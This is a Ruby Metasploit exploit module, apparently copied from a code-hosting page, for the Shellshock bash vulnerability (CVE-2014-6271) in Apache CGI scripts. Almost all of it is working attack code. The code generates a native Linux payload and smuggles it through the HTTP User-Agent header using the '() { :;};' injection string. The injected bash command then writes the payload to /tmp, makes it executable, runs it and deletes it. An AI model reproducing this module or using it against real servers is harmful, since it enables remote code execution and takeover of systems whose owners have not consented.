67 lines
No EOL
2.1 KiB
Ruby
Executable file
67 lines
No EOL
2.1 KiB
Ruby
Executable file
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Shellshock Bashed CGI RCE',
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'Description' => %q{
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This module exploits the shellshock vulnerability in apache cgi. It allows you to
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excute any metasploit payload you want.
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},
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'Author' =>
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[
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'Stephane Chazelas', # vuln discovery
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'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2014-6271' ]
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],
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'Payload' =>
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{
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'BadChars' => "",
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},
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 13 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
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OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
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], self.class)
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end
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def exploit
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@payload_name = "#{rand_text_alpha(5)}"
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full_path = datastore['FILEPATH'] + '/' + @payload_name
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payload_exe = generate_payload_exe
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if payload_exe.blank?
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fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
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end
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Creating payload #{full_path}")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => datastore['TARGETURI'],
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'agent' => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" + "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
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})
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end
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end |